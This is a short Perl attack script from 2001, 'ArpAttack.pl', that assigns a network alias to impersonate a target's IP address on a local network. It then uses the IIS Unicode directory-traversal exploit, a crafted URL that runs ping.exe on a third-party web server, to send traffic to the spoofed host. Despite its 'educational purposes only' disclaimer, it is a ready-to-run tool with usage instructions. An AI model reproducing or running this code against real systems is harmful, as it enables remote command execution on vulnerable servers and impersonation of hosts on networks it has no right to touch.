#!/usr/bin/perl -w

# ArpAttack.pl by: Christopher M Downs 04-28-01
# ---------------------------------------------
# This program was inspired by a thread that started on vuln-dev@securityfocus.com
# most cable networks have ARP Broadcasts enabled so arp spoofing works on that network
# this is a proof of concept program and is intended for educational purposes only therefore !
# i am not responsible for anything bad or just plain evil done with this program.
# enough said you know the rules.
# -D
system ("clear");

use LWP::Simple;
use Getopt::Std;
getopts("t:n:b:u:?", \%args);

if ( $args{t} ) {
    $target = $args{t};
} else {
    Usage();
}
if ( $args{"?"} ){
    Usage();
}
# <---------------------------------------
## this is where we need to create a network alias on the local machine\
## for the network target we would like to spoof.
## we will cheat for now and use system calls just for the sake of getting something that works....
if ( $args{n} ) {
    $netmask = $args{n};
}
if ( $args{b} ) {
    $broadcast = $args{b};
}
print "setting up network spoof .... \n";
sleep 2;
# system call here.
system("/sbin/ifconfig eth0:0 $target netmask $netmask broadcast $broadcast");
print ("ifconfig interface eth0:0 for spoof... .\n");
print ("----------------------------------------\n");
system("/sbin/ifconfig eth0:0");

# use uni-code server for icmp to spoofed host.
# <---------------------------------------
if ( $args{u} ) {
    $host_slut = $args{u};
    $uni_target = get("http://$host_slut/scripts/..%c0%af../winnt/system32/ping.exe?+$target");
    print "wait.. . using target to send icmp request.\n";
    print "-------------------------------------------\n";
    print ("$uni_target\n");
}
print "done\n";
print "happy spoofing dud3z ~!\n";
# <---------------------------------------
sub Usage {
    print <<USAGE;
  Usage: perl ArpAttack.pl -t <target> -n -b -u <uni-code server>
      -? this menu
      -t <target to spoof>
      -n netmask
      -b broadcast
      -u uni-code server to use
	Sample: perl ArpAttack.pl -t 192.168.x.x -n 255.255.255.0 -b 192.168.0.255 -u 192.168.20.x
	Note: this program needs to be run as root
USAGE
    exit;
}
